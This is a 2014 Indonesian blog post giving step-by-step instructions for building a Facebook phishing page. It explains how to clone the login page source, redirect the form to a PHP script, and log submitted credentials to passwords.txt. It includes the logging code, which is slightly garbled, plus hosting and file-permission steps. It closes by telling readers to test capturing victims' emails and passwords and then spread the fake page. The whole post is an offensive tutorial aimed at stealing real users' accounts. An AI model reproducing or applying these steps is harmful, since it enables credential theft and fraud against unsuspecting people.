Jumat, 21 Februari 2014

Cara Phising Facebook



halo, kali ini saya akan membahas tentang cara Phising, pertama - tama saya akan jelas kan 'APA ITU PHISING'

Oke, langsung saja kita menuju topik yang pertama ..

Phising adalah suatu cara atau usaha untuk memperoleh informasi penting dengan cara yang ilegal atau tidak sah, contohnya adalah :  
  1. id username
  2. password
  3. PIN
  4. akun rekening bank
  5. kartu kredit
  6. akun media sosial seperti phising facebook, dll.
dan yang akan saya bahas kali ini adalah 'cara phising akun facebook'

1 .Cari dan buka alamat yang mau dijadikan homepage/halaman utama Web Phising anda.
   misal http://www.facebook.com

2 .Setelah halaman terbuka sepenuhnya anda tekal tombol “Ctrl + U”
   di keyboard secara bersamaan. Kemudian akan muncul Source Code.

3 .Copy semua Source Code tersebut. Tekan “Ctrl + A” (untuk blok semua source code)
   kemudian tekan “Crtl + C” (untuk meng-copy / menyaslin Source Code tersebut).

4 .Setelah itu buka notepad/wordpad

5 .Paste Source Code (ctrl + v) yang sudah di copy tadi. seperti langkah nomor 3.

6 .Cari menggunakan “Crtl + F”, isi dengan “action=” (tanpa tanda petik)

7 .jika sudah Ketemu,

8 .Ganti “fb.com” (contoh) dengan “phising.php”

9 .Ubah “post” menjadi “GET“.

10 .Save as (file – Save as) atau tekan “Ctrl + S”.
    Berinama dengan “index.html” dan File Type pilih “All FIle”

11 .Buka notepad lagi (langkah sama seperti nomor 4).

12 .Copy Paste Code PHP ini ke notepad :

   
    fopen("passwords.txt", "a"); foreach($_GET as $variable => 
    $value) { fwrite($handle, $variable); fwrite($handle, "=");
    fwrite($handle, $value); fwrite($handle, "rn"); }
    fwrite($handle, "rn"); fclose($handle); exit; ?>

13 .Ganti “http://fb.com” dengan “http://facebook.com” misal (tanpa tanda kutip).

14 .Save dengan nama phising dan extensi .php jadinya phising.php
    (Caranya sama seperti langkah no. 10)

15 .Upload ke hosting anda. (Silahkan cari hosting gratis atau berbayar,
    tidak disarankan menggunakan Hosting Gratis 000webhost untuk membuat web phising.
    Namun jika ingin tahu Cara Upload File di Free Hosting
    000webhost silahkan baca saja. Satu lagi, pastikan domain anda sudah mengarah
    ke hosting anda. Jika anda tidak mengerti silahkan pelajari tentang Domain
    dan Hosting terlebih dahulu.

16 .Setelah ke-3 file berhasil di upload jangan lupa permission/chmod di atur 777
    untuk file passwords.txt, agar password yang di ketikan oleh korban
    dapat tersimpan.

17 .Selesai. Silahkan Coba akes Domain anda dan apa yang anda lihat ?
    Jika tampilan mirip seperti halaman ketika anda membuka website
    yang anda tiru berarti benar

18 .Silahkan anda test apakah WebPhising buatan anda sukses
    dapat menyimpan email dan password korban.

19 .Jika berhasil menyimpan informasi login korban seperti email dan password,
    waktunya sebarkan web phising anda dengan kecerdikan anda.

Sumber : https://www.facebook.com/notes/gudang-informasi-team/cara-phising/1436136573285477

edited by : thgp404

Tidak ada komentar:

Posting Komentar